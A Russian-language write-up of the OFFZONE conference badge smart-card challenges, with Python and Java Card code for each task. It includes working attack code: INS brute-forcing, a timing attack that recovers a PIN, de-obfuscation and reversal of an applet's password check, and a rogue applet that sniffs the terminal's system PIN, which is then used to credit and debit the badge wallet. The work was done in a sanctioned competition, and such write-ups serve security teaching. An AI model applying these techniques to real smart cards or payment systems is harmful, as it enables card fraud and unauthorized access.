Взлом смарт-карт. Полное прохождение заданий со смарт-картами OFFZONE Badge Challenge
Форсайт
На OFFZONE была серия задач на смарт-карте с интерфейсом ISO/IEC 7816. Особо внимательных даже предупредили заранее. Тут опубликовали фотографию бейджа и прямо заявили, что «бейдж можно будет взломать, если вам это будет по силам». Нам оказалось это по силам, и из этой статьи ты узнаешь — как.
Чтобы решать задачи, нужно было иметь подходящий картридер. Те, кто пришел на конференцию неподготовленным, имели возможность приобрести картридер в «Лавке старьевщика» за OFFCOIN или российские рубли. Правда, продавалось всего 30 ридеров, и их быстро разобрали.
Описание задач было приведено на этой странице.
Официальные задания
Авторы заданий сделали очень хорошее «краткое введение» в терминологию, базовые принципы и популярные инструменты.
Как работать с картой
Общение со смарт-картами ведется при помощи USB-картридеров, которые можно найти в GAME.ZONE, а также купить в «Лавке старьевщика». APDU-команда
Пакеты, которые воспринимает карта, называются APDU-командами. APDU-команда представляет собой последовательность 4-байтового заголовка и данных команды.
Общий формат APDU-команды:
- [CLA INS P1 P2 Lc DATA Le]
- CLA (Instruction class) определяет тип посылаемой команды.
- INS (Instruction code) определяет конкретную команду внутри класса.
- P1, P2 (Parameter 1/2) являются аргументами команды.
- Lc (Length of command data) определяет размер данных в поле DATA.
- DATA (?) содержит в себе Lc байт данных команды.
- Le (Length of expected data) определяет размер данных, которые ожидается получить в ответе карты. Команда обязательно содержит 4 первых байта, остальные байты опциональны.
В ответ мы получаем код ошибки, состоящий из 2 байт (SW1, SW2), и опциональное поле данных размера <= Le байт.
Для отправки APDU-команд удобно пользоваться библиотекой pyscard для Python. Например, так выглядит код для получения серийного номера Java-карты:
from smartcard.System import readers from smartcard.util import * r = readers() reader = r[0x00] # Let's assume that we only have one reader connection = reader.createConnection() connection.connect() SELECT_MANAGEMENT = [0x00, 0xA4, 0x04, 0x00, 0x08] + [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00] (data, sw1, sw2) = connection.transmit(SELECT_MANAGEMENT) GET_CPLC_DATA = [0x80, 0xCA, 0x9F, 0x7F, 0x00] (data, sw1, sw2) = connection.transmit(GET_CPLC_DATA) print data
Если давать высокоуровневое описание Java-карты, то она представляет собой совокупность Java-апплетов, которые выполняют определенные задачи. Апплеты идентифицируются с помощью уникального Applet Identifier (AID), задаваемого при разработке апплета. По умолчанию Java-карта должна содержать Manager-апплет (AID = [0xA0, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00]), который используется для управления другими апплетами на карте. Задания также представляют собой отдельные апплеты. Перед началом работы с апплетом нужно выполнить команду SELECT и AID апплета (AID=[…]; SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00] + [len(AID)] + AID).
В качестве основного способа общения с картой предполагалось использовать язык Python и библиотеку pyscard. Небольшая сложность, с которой лично я столкнулся на начальном этапе, была в том, что я не нашел готового инсталлятора и не справился со сборкой pyscard под Python 3.7. А после установки старой версии pyscard 1.7.0 под Python 2.7 выяснилось, что простейшие примеры из документации pyscard падают с ошибкой. Зато связка pyscard 1.9.3 и Python 3.6.7 x64 заработала сразу и без нареканий.
Так как во всех заданиях требовалось выполнять однотипные действия (инициализация, отсылка APDU-команд и получение результатов), мне показалось правильным реализовать базовые функции в виде класса.
from smartcard.System import readers
def hx(ab): return ".".join("%02X" % v for v in ab) # Convert bytes to hex
def sx(ab): return "".join(chr(v) for v in ab) # Convert bytes to string
SELECT_APPLET = [0x00, 0xA4, 0x04, 0x00]
class OFFZONE(object):
dCmds = { # List of known commands (for debugging)
hx(SELECT_APPLET): "SELECT_APPLET",
}
def __init__(self, ind=0):
self.DBG = False
self.r = readers()
if self.DBG:
if self.r:
print("Readers:")
for i, v in enumerate(self.r):
print("%3d: %s" % (i, v))
else: print("No readers")
self.conn = self.r[ind].createConnection()
self.conn.connect()
def exch(self, cmd, arg=None): # Perform APDU command exchange
if self.DBG:
msg = [self.dCmds.get(hx(cmd), hx(cmd))]
if arg is not None: msg.append(hx(arg))
print("Send: %s" % " + ".join(msg))
ext = [] if arg is None else [len(arg)] + list(arg)
data, sw1, sw2 = self.conn.transmit(cmd + ext)
if self.DBG:
print("Recv: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
return data, sw1, sw2
def select(self, AID): # Select applet by AID or task index
if isinstance(AID, int): # Task index provided
AID = [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x30+AID, 0x10, 0x01]
return self.exch(SELECT_APPLET, AID)
def command(self, cla, ins, arg=None): # Execute command
cmd = [cla, ins, 0, 0]
return self.exch(cmd, arg)
def main():
oz=OFFZONE()
## Task1(oz)
## Task2(oz)
## Task3(oz)
## Task4(oz)
Training Mission
Получите основные навыки для работы с Java-картой. Похоже, при переносе описания задания затерлась часть информации, и мы потеряли корректный номер INS.
AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x31, 0x10, 0x01]
CLA: 0x10
INS:
0x??: getFlag: [0x10, 0x??, 0x00, 0x00]
0xE0: checkFlag(flag): [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)
В первой задаче требовалось найти однобайтовое значение INS, и очевидно, что проще всего это было сделать перебором 256 возможных вариантов.
Решение
def Task1(oz):
print("\nTask #1 (Training Mission)")
oz.select(1)
CLA = 0x10
INS_CheckFlag = 0xE0
for INS_GetFlag in range(0x100):
data, sw1, sw2 = oz.command(CLA, INS_GetFlag)
if 0x90 == sw1 and 0x00 == sw2 and data:
print("INS_GetFlag=0x%02X, Flag: %s" % (INS_GetFlag, repr(sx(data))))
data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
break
else:
print("INS_GetFlag value not found")
Легко заметить, что на большинство запросов (с неподдерживаемыми значениями INS) в качестве статуса ответа (sw1 и sw2) возвращаются значения 0x6D и 0x00. Если свериться с таблицей кодов APDU-ответов, становится понятно, что 6D 00 соответствует ошибке Instruction code not supported or invalid. Для правильного запроса возвращается статус 90 00 и флаг.
Vault Warehouse Management System
Убежище — это сложный инженерный объект, который позволяет людям выживать в условиях ядерной войны. Тебе предстоит оптимизировать хранение припасов в условиях ограниченного пространства. Перемести коробки с провиантом в специально предназначенные для этого места.
AID: [0x4f, 0x46, 0x46, 0x5a, 0x4f, 0x4e, 0x45, 0x32, 0x10, 0x01]
CLA: 0x10
INS:
* 0x20, move() — задать направление движения. В APDU необходимо передать один байт с указанием направления:
* a (0x61) — влево,
* d (0x64) — вправо,
* w (0x77) — вверх,
* s (0x73) — вниз.
Пример движения влево: apdu = `[0x10, 0x20, 0x00, 0x00, 0x01, 0x61]`.
* *0x30: getGameState() — получить текущий статус (получить карту в виде списка из 108 байт).
Игровое поле 12x9. `apdu = [0x10, 0x30, 0x00, 0x00, 0x00]`. Легенда:
* ты — «H» (0x48),
* стена — «#» (0x23),
* коробки с провиантом — «O» (0x4f),
* специально отведенное место для хранения — «.» (0x2e),
* свободное пространство — « » (0x20).
Если ты успешно оптимизировал хранение в паре залов, в ответ на запрос получишь флаг.
* 0x40: reset() — если попал в безвыходную ситуацию. apdu = [0x10, 0x40, 0x00, 0x00, 0x00]
* 0x50: getFlag() apdu = [0x10, 0x50, 0x00, 0x00, 0x00]
* 0xE0: checkFlag(flag) apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)
В этом задании предлагают поиграть в Sokoban. Ничего технически сложного делать не требуется. Если послать команду getGameState(), в ответ пришлют картинку с полем. Посылая команду move(), можно изменять состояние поля. Как только новое состояние совпадет с решением (все коробки с провиантом на отведенных местах), getGameState() вернет картинку со следующим уровнем (их всего два).
############# ############ ###### #### # # # #### O # #### ###### # #### # . ### # # # # #### H# ### # #.## ####O#. ### ##O######.## ##### ##### # O H # ############# # ### # ############# ############
После решения второго уровня getGameState() вернет флаг.
Делать полный автомат было лень, поэтому я решил написать интерактивную программу, которая клавишами awsd позволяла двигаться, при нажатии на r вызывала reset(), а при нажатии на любую другую клавишу завершала работу.
from msvcrt import getch
def Task2(oz):
print("Task #2 (Vault Warehouse Management System)")
oz.select(2)
CLA = 0x10
INS_Move = 0x20
INS_GetState = 0x30
INS_Reset = 0x40
INS_GetFlag = 0x50
INS_CheckFlag = 0xE0
while True:
data, sw1, sw2 = oz.command(CLA, INS_GetState)
if len(data) != 12*9: break
print()
for o in range(0, len(data), 12): print(sx(data[o:o+12])) # Show field
ch = ord(getch())
if chr(ch) in ("awsd"): oz.command(CLA, INS_Move, [ch]) # Make move
elif ord('r') == ch: oz.command(CLA, INS_Reset) # Reset field
else: return # Quit
print("Final state: %s" % sx(data))
data, sw1, sw2 = oz.command(CLA, INS_GetFlag)
if 0x90 == sw1 and 0x00 == sw2 and data:
print("Flag == %s" % repr(sx(data)))
data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
Под Windows удобно было использовать getch из библиотеки msvcrt. Под Unix можно воспользоваться модулем getch.py.
Для совсем ленивых — вот последовательность ходов для первого уровня:
aaawwdassdddwdwwaasswaassddwdddssaawssaawsddwwawwaassddwds
И для второго:
aaaaasaawwssddwdddddwwwwaassaaaawaasdssddddddsdwwwwdwaadssssaaaaaaawwwddsddwwwdsassaaawasswddddwwdddssssaaaaaasaawdwwdddddwawddassaaaaasssddwdddddwwwdwwasswaassaaaaassddddddsdw
А если захочется поиграть сначала — нужно опять вызвать reset().
Comparer 2000
Эта программа досталась нам от предков вида Macaca JSus. Они не умели оптимизировать код, и их программы работали медленно.
AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x33, 0x10, 0x01]
CLA: 0x10
INS:
* 0x20: checkStr(str): apdu = [0x10, 0x20, 0x00, 0x00, 0xNN] + STR (0xNN bytes of STR). Ответ: SW_WRONG_PIN_LEN = 0x6420; SW_WRONG_PIN = 0x6421;
* 0x30: getFlag(): apdu = [0x10, 0x30, 0x00, 0x00, 0x20]
* 0xE0: checkFlag(flag): apdu = [0x10, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag)
В условии этой задачи дается подсказка, что надо сначала подобрать длину строки (пока не вернут статус 64 21), а потом использовать Timing Attack (чем больше правильных символов, тем дольше будет идти проверка).
Решение
import time
def Task3(oz):
print("\nTask #3 (Comparer 2000)")
oz.select(3)
CLA = 0x10
INS_CheckStr = 0x20
INS_GetFlag = 0x30
INS_CheckFlag = 0xE0
for ccKey in range(1, 16): # Guess length
data, sw1, sw2 = oz.command(CLA, INS_CheckStr, [0]*ccKey)
if 0x64 == sw1 and 0x21 == sw2:
print("len(Key)=%X" % ccKey)
break
else:
print("Can't guess key length")
abKey = bytearray(ccKey)
for iKey in range(ccKey): # Walk positions
bestTime = 0
bestChar = 0
for i in range(0x100): # Test all possible values
abKey[iKey] = i
start = time.time() # Start measure time
oz.command(CLA, INS_CheckStr, abKey)
delta = time.time() - start # Calc command execution time
if delta > bestTime: # Memorize best value
bestTime = delta
bestChar = i
abKey[iKey] = bestChar
print(hx(abKey[:iKey+1]), end='\r')
print
data, sw1, sw2 = oz.command(CLA, INS_CheckStr, abKey)
if 0x90 == sw1 and 0x00 == sw2:
print("Key %s is OK" % hx(abKey))
data, sw1, sw2 = oz.exch([CLA, INS_GetFlag, 0, 0, 0x20])
if 0x90 == sw1 and 0x00 == sw2 and data:
print("Flag == %s" % repr(sx(data)))
data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
Убежище 42
Подбери верный ключ и попади в убежище 42!
AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x34, 0x10, 0x01]
CLA: 0x20
INS:
* 0x04: checkLoginAndPassword(login_and_password) apdu = [0x20, 0x04, 0x00, 0x00, 0xNN] + data (0xNN bytes of data)
* 0xE0: checkFlag(flag) apdu = [0x20, 0xE0, 0x00, 0x00, 0xNN] + flag (0xNN bytes of flag) https://ctf.bi.zone/files/applet.cap
Из текста задания очевидно, что надо проанализировать applet.cap и извлечь алгоритм проверки пароля. Поиск в Google приводит на страничку с документацией Oracle, где упоминается утилита normalizer.bat. Ставим Java Card SDK и выполняем следующие команды (пути могут быть другими!):
SET JAVA_HOME=C:\Program Files\Java\jdk1.8.0_191 SET JCDK=C:\Program Files (x86)\Oracle\Java Card Development Kit 3.0.5u3 "%JCDK%\bin\normalizer.bat" normalize -i applet.cap -p "%JCDK%\api_export_files"
Но, к сожалению, запуск normalizer.bat завершается ошибкой:
[ INFO: ] Cap File to Class File conversion in process. In method Descriptor[43]/Method[15]: At PC 0: Bad branch to PC 3 from PC 0
Из сообщения об ошибке можно сделать вывод, что скомпилированный код в файле applet/javacard/Method.cap из applet.cap содержит по адресу 0 неправильный переход на адрес 3 (в середину инструкции). Поискав java card instruction set, легко выяснить, что опкод 0x70 соответствует инструкции goto.
Заглянув внутрь applet/javacard/Method.cap при помощи шестнадцатеричного редактора, можно заметить, что довольно часто встречается последовательность байт 70 03 xx и именно она «ломает» работу normalizer.bat — xx интерпретируется как начало следующей инструкции после двухбайтовой инструкции 70 03 (goto PC+3).
Кстати, подобный прием (переход в середину инструкции) часто используется и в Native-коде для запутывания дизассемблера.
В случае Java Card устранить проблему довольно просто — надо на место всех xx вставить 00 — однобайтовый опкод инструкции nop. Это легко сделать на Python, используя модули zipfile и re.
import zipfile, re
with zipfile.ZipFile("applet.cap") as zin:
with zipfile.ZipFile("applet_fixed.cap", "w") as zout:
for item in zin.infolist():
ab = zin.read(item.filename)
if item.filename.endswith("Method.cap"):
ab = re.sub("p\3.", "p\3\0", ab.decode("latin1")).encode("latin1")
zout.writestr(item, ab)
После этого надо повторно запустить normalizer.bat (поменяв имя входного файла на applet_fixed.cap). И, несмотря на новое сообщение об ошибке, в поддиректории applet появится файл AAA.class, который можно обработать любым декомпилятором Java (например, старым добрым jad.exe) и получить исходный текст, пригодный для анализа.
Все самое интересное происходит в методе method_token255_descoff79(). На вход он принимает 16-байтовый массив (login), а возвращает другой 16-байтовый массив (password). И именно эти два массива надо передать в APDU-команду checkLoginAndPassword().
Код вычисления password из login похож на кусочки AES. Но разбираться с тем, как он работает, необязательно — достаточно или переписать его на привычный язык (например, Python), или слегка подправить и скомпилировать исходник на Java.
Решение
def aRol(a, n): return a[n:] + a[:n]
def bX(b): return ((b << 1) ^ 0x1B) & 0xFF
def bB(b): return bX(b) ^ b
def transform(a0, a1, a2, a3):
o0 = [((bX(a0[i]) ^ bB(a1[i])) ^ a2[i]) ^ a3[i] for i in range(4)]
o1 = [((a0[i] ^ bX(a1[i])) ^ bB(a2[i])) ^ a3[i] for i in range(4)]
o2 = [((a0[i] ^ a1[i]) ^ bX(a2[i])) ^ bB(a3[i]) for i in range(4)]
o3 = [((bB(a0[i]) ^ a1[i]) ^ a2[i]) ^ bX(a3[i]) for i in range(4)]
return o0 + o1 + o2 + o3
def PwdFromLogin(login):
ab = [(login[i] - 3*i) & 0xFF for i in range(16)]
a0 = aRol(ab[0:4], 1)
a1 = aRol(ab[4:8], 2)
a2 = aRol(ab[8:12], 3)
a3 = aRol(ab[12:16], 1)
ab = transform(a0, a1, a2, a3)
return [(ab[i] + 127*(i+1)) & 0xFF for i in range(16)]
def Task4(oz):
print("\nTask #4 (Shelter 42)")
oz.select(4)
CLA = 0x20
INS_CheckLoginAndPassword = 0x04
INS_CheckFlag = 0xE0
login = [i for i in range(16)]
pwd = PwdFromLogin(login)
data, sw1, sw2 = oz.command(CLA, INS_CheckLoginAndPassword, login+pwd)
if 0x90 == sw1 and 0x00 == sw2 and data:
print("Flag == %s" % repr(sx(data)))
data, sw1, sw2 = oz.command(CLA, INS_CheckFlag, data)
print("CheckFlag: %02X.%02X + [%s]" % (sw1, sw2, hx(data)))
SmartCardTanks
Для начала хотелось бы отметить, что организаторы выбрали очень интересный формат распределения сувениров и активностей для зарабатывания OFFCOIN, атмосфера на конференции из-за этого сложилась особенная. Велотрек, настольный зомби-кикер, тотализатор и прочее — все это не обошло и нас. Поскольку картридеров у нас не было, то решили для получения заветного картридера, раз их так мало, общими усилиями во что бы то ни стало накрутить педали и выиграть максимальное количество «футбольных» соперников, а затем купить девайс за OFFCOIN и впервые окунуться в мир Java-апплетов.
Игрокам необходимо реализовать игровую логику своего танка так, чтобы в ответ на запрос хода их карты передавали желаемые направления перемещения и стрельбы подконтрольного танка. Если ответ на запрос хода будет некорректным, танк игрока не станет перемещаться или стрелять.
AID: [0x4F, 0x46, 0x46, 0x5A, 0x4F, 0x4E, 0x45, 0x35, 0x10, 0x01]
CLA: 0x80
INS:
* 0x99: readySteady(check)
* Параметры: BYTE check — целое число в диапазоне (0–100).
* Ответ: BYTE check_response — целое число, равное check+1.
* 0x66: getMap()
* Параметры: BYTE[32] map — игровое поле в битовом представлении (слева направо и сверху вниз).
* Например, переданы значения [0xFF, 0xFF, 0x80, 0x01, 0x93, 0x81, ...]. Тогда участок поля, описываемый этими значениями, имеет следующий вид в битовом представлении:
1111111111111111
1000000000000001
1001001110000001
...
1 означает неразрушимую и непроходимую стену.
0 означает поверхность, по которой можно перемещаться.
Ответ: BYTE[2] map_response — всегда равен [0x4f, 0x4b] ('OK').
* 0x33: getNextStep(step). Параметры:
* BYTE step — текущий игровой ход (200 -> 0).
* BYTE player_x — координата Х игрока (0 -> 15).
* BYTE player_y — координата Y игрока (0 -> 15).
* BYTE player_lives — число жизней игрока (3 -> 0).
* BYTE player_fuel — количество топлива игрока (255 -> 0).
* BYTE player_rockets — число ракет игрока (255 -> 0).
* BYTE enemy_x — координата Х противника (0 -> 15).
* BYTE enemy_y — координата Y противника (0 -> 15).
* BYTE enemy_lives — число жизней противника (3 -> 0).
* BYTE enemy_fuel — количество топлива противника (255 -> 0).
* BYTE enemy_rockets — число ракет противника (255 -> 0).
* BYTE bonus_count — число бонусов на карте на текущий ход (2 -> 0).
* BONUS[bonus_count] — список описаний бонусов (от 0 до 2 элементов, в зависимости от количества бонусов на карте).
* BYTE bonus_x — координата Х бонуса (0 -> 15).
* BYTE bonus_y — координата Y бонуса (0 -> 15).
* BYTE bonus_type — тип бонуса (0 — бонус топлива, 1 — бонус ракет).
Ответ:
* BYTE move_direction — направление перемещения игрока (0 — стоять на месте, 1 — двигаться вправо, 2 — двигаться вверх, 3 — двигаться влево, 4 — двигаться вниз).
* BYTE shoot_direction — направление выстрела игрока (0 — не стрелять, 1 — стрелять вправо, 2 — стрелять вверх, 3 — стрелять влево, 4 — стрелять вниз).
Код апплета, который уже залит на вашу карту, можно посмотреть по ссылке.
Java-карты конференции совместимы с GlobalPlatform, и для установки, удаления и просмотра апплетов можно использовать GlobalPlatformPro. Например, чтобы получить список установленных апплетов, можно воспользоваться командой
java -jar gp.jar --list -v
Задание (полное описание) заключалось в том, чтобы написать свой бот для управления танком, используя предоставляемый организаторами SmartCardTanksBot.java как шаблон для построения бота.
Внутри шаблона есть строки, которые подтвердили предположение относительно инструкции 0xA4.
if (buffer[ISO7816.OFFSET_INS] == 0xA4) {
return;
}
После разработки бота управления танком нужно было использовать пакет GlobalPlatformPro, чтобы установить бот в системе. В описании задания указано, что апплеты можно не только устанавливать, но и просматривать уже установленные, а также удалять их.
Был получен список апплетов, установленных в системе.

Проанализировав список, можно выделить, что здесь представлены AID для всех пяти задач на карте, а также некий секретный апплет, который имеет AID:
SECRET = [0xA0, 0x00, 0x00, 0x00, 0x50, 0x10, 0x10, 0x50, 0x10, 0x01]
Судя по используемому AID и его похожести на родительский апплет, он, скорее всего, управляющий. Еще интересная особенность, что он имеет класс инструкций = 0x80, отличный от других, и в то же время такой же класс был у задачи с танками.
Исследование команд управляющего апплета
В управляющем апплете были найдены команды:
SECRET_Cmds = [(0x20,0x63,0x00),(0x30,0x63,0x01),(0x40,0x63,0x01), (0x50,0x67,0x00),(0x60,0x63,0x01),(0x70,0x63,0x01),(0x80,0x67,0x00), (0x90,0x63,0x01),(0xA0,0x67,0x00),(0xA4,0x90,0x00)]
Поскольку для некоторых команд код ошибки sw1, sw2 = 0x67, 0x00, что означает «неверная длина данных», был выполнен перебор по этому полю.
Выяснилось, что во всех трех командах размер данных должен быть равен нулю. Также с помощью сравнения результатов работы этих команд для разных карточек было определено их предназначение.
Получение баланса
Ins = 0x50 — получение текущего баланса на карте.
Код для реализации команды простой.
BalanceIns = [0x80, 0x50, 0x00, 0x00, 0x00]
def GetBalance():
data, sw1, sw2 = connection.transmit(SELECT_SECRET)
print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
data, sw1, sw2 = connection.transmit(BalanceIns)
print("----- Current Balance: %02u %02u" % (data[0], data[1]))

Получение статуса выполнения задач на карте
Ins = 0x80 — получение состояния задач на карте, решена или нет.
Код реализации такой:
TaskStateIns = [0x80, 0x80, 0x00, 0x00, 0x00]
def GetTaskState():
data, sw1, sw2 = connection.transmit(SELECT_SECRET)
print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
data, sw1, sw2 = connection.transmit(TaskStateIns)
print("Current Task State:")
print(data)

Как видим, решены первые четыре задачи из расположенных на карте.
Получение статуса выполнения логических задач
Ins = 0xA0 — получение некоторого состояния, как выяснилось позже — состояния решения логических задач в зоне BI.ZONE. Скрипт для вывода этой информации:
SomeLenIns = [0x80, 0xA0, 0x00, 0x00, 0x00]
def GetSomeState():
data, sw1, sw2 = connection.transmit(SELECT_SECRET)
print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
data, sw1, sw2 = connection.transmit(SomeLenIns)
print("Current Some State:")
print(data)

Всего задач девять. На данной карте ни одна из задач этого типа еще не решена.
Получается, что этот управляющий апплет отвечает за взаимодействие с банкоматом. По наблюдениям было замечено, что после решения задачи на карточке состояние задачи в управляющем апплете не менялось. Это значит, что банкомат считывал состояние, решена задача или нет, из апплета самой задачи, а затем устанавливал сам флаг и начислял деньги за решение задачи.
Итак, к этому моменту мы уже могли получать баланс карточки и состояние задач двух типов. И осталось несколько команд с неизвестным предназначением.
SECRET_UNK_Cmds = [(0x20,0x63,0x00), (0x30,0x63,0x01), (0x40,0x63,0x01),
(0x60,0x63,0x01), (0x70,0x63,0x01), (0x90,0x63,0x01)]
Коды ошибок отличаются только у одной команды. Было сделано предположение, что эта команда 0x20 отвечает за некоторую авторизацию, а остальные за какие-то действия. Сами коды ошибок, начинающиеся с 0x63 в справочнике, обозначали варианты State of non-volatile memory changed, что в данном контексте неинформативно.
Выяснилось, что управляющий апплет построен на базе типового Wallet-апплета. Описание и исходники типового Wallet можно найти в поисковике по фразе java card wallet.
Первое, что бросается в глаза в исходнике, — это знакомые коды ошибок
// signal that the PIN verification failed final static short SW_VERIFICATION_FAILED = 0x6300; // signal the the PIN validation is required // for a credit or a debit transaction final static short SW_PIN_VERIFICATION_REQUIRED = 0x6301;
Затем видим такой же класс 0x80 и коды типовых инструкций. Получение баланса совпадает с кодом, уже найденным нами. Предположение оказалось верным: 0x20 — команда верификации.
// code of CLA byte in the command APDU header final static byte Wallet_CLA = (byte)0x80; // codes of INS byte in the command APDU header final static byte VERIFY = (byte) 0x20; final static byte CREDIT = (byte) 0x30; final static byte DEBIT = (byte) 0x40; final static byte GET_BALANCE = (byte) 0x50;
Чтобы самостоятельно снимать и начислять деньги на карту, осталось найти правильный PIN, назовем его SystemPIN.
Сначала мы решили попробовать получить SystemPIN с помощью аппаратного перехватчика, но по техническим причинам это не получилось. Благодарим организаторов — они подготовили специальный стенд, чтобы мы не экспериментировали на боевой системе.
Мы обратили внимание на следующее. Мы могли удалять и устанавливать любой апплет. Класс 0x80 совпадал у управляющего апплета и бота управления танчиками — думаю, в этом был некий намек от организаторов.
Возникла идея заменить управляющий апплет на свой, который будет только считывать PIN, сохранять его в памяти карты и возвращать его нам по запросу.
За основу был взят исходный код бота для танков SmartCardTanksBot.java. В него мы добавили строки для сохранения у себя в памяти всего пакета передачи PIN. PIN передается, когда вставляешь карту в терминал.
final static byte VERIFY = (byte) 0x20;
private void verify(APDU apdu) {
byte[] buffer = apdu.getBuffer();
byte byteRead = (byte)(apdu.setIncomingAndReceive());
sniffedPIN[0] = byteRead;
sniffedPIN[1] = (byte)buffer.length;
for(short i = 0; i < buffer.length; i++)
sniffedPIN[i + 2] = buffer[i]
}
Также реализовали выдачу перехваченного пакета с PIN по нашему запросу.
final static byte GET_PIN = (byte) 0x77;
private void getPin(APDU apdu) {
byte[] buffer = apdu.getBuffer();
short le = apdu.setOutgoing();
apdu.setOutgoingLength((short)128);
for(short i = 0; i < 128; i++)
{
buffer[i] = sniffedPIN[i+1];
}
apdu.sendBytes((short)0, (short)128);
}
Чтобы новая команда GET_PIN заработала, в обработчик инструкций добавили:
public void process(APDU apdu) {
byte[] buffer = apdu.getBuffer();
if (buffer[ISO7816.OFFSET_INS] == (byte)(0xA4)) {
return;
} else if (buffer[ISO7816.OFFSET_CLA] != APPLET_CLA) {
ISOException.throwIt(ISO7816.SW_CLA_NOT_SUPPORTED);
}
switch (buffer[ISO7816.OFFSET_INS]) {
case MOVE:
sendMove(apdu);
return;
case MAP:
getMap(apdu);
return;
case TEST:
test(apdu);
return;
case VERIFY:
verify(apdu);
return;
case GET_PIN:
getPin(apdu);
break;
default:
ISOException.throwIt(ISO7816.SW_INS_NOT_SUPPORTED);
}
}
Далее скомпилировали через JCIDE с нужным нам номером AID. Управляющий апплет, отвечающий за проверку PIN, был удален.

Затем вместо него был установлен апплет, подготовленный нами.

После этого карта уже не могла использоваться для конкурсов, начисления и снятия OFFCOIN, поскольку мы удалили оригинальный управляющий апплет. После нескольких испорченных таким образом карт нам удалось получить PIN. С помощью следующего скрипта получили с этой карты содержимое пакета, где был PIN:
GET_SYSTEM_PIN = [0x80, 0x77, 0x00, 0x00]
def GetSystemPIN():
data, sw1, sw2 = connection.transmit(SELECT_SECRET)
print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
data, sw1, sw2 = connection.transmit(GET_SYSTEM_PIN)
print("Get System PIN Packet State: 0x%02X 0x%02X" % (sw1, sw2))
print(data)
На выходе получили следующее.

Здесь первые 4 байта — это заголовок запроса авторизации. Затем идет длина данных — 8 байт. Последующие 8 байт — значение PIN.
SystemPIN = [0xDB, 0X4D, 0XDE, 0X11, 0X6A, 0X27, 0X5B, 0X85]
На этом этапе нас объявили победителями конкурса.
Зачисление и снятие OFFCOIN
По пути в аэропорт мы попробовали реализовать верификацию, операции зачисления на карту и снятие с карты OFFCOIN. Опытным путем выявлено, что перед каждой операцией нужно проводить верификацию. Процедура, выполняющая это, имеет вид:
AuthIns = [0x80, 0x20, 0x00, 0x00] + [len(SystemPIN)] + SystemPIN
def GetAuth():
data, sw1, sw2 = connection.transmit(SELECT_SECRET)
data, sw1, sw2 = connection.transmit(AuthIns)
Например, зачисление 250 OFFCOIN на карту выполняется следующим кодом:
CreditIns = [0x80, 0x30, 0x00, 0x00] + [2] + [0x00, 0xFA]
def MakeCredit():
data, sw1, sw2 = connection.transmit(SELECT_SECRET)
print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
GetAuth()
print(CreditIns)
data, sw1, sw2 = connection.transmit(CreditIns)
print("Credit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))

Снятие 100 OFFCOIN с карты выполняется следующим кодом:
DebitIns = [0x80, 0x40, 0x00, 0x00] + [2] + [0x00, 0x64]
def MakeDebit():
data, sw1, sw2 = connection.transmit(SELECT_SECRET)
print("Select Secret Applet: 0x%02X 0x%02X" % (sw1, sw2))
GetAuth()
print(DebitIns)
data, sw1, sw2 = connection.transmit(DebitIns)
print("Debit Instruction State: 0x%02X 0x%02X" % (sw1, sw2))

Опытным путем было установлено, что предел для карт с конференции — 5632 OFFCOIN.
Заключение
Благодарим организаторов за прекрасный, интересный и увлекательный конкурс. Решение его задач доставило много радости и веселья!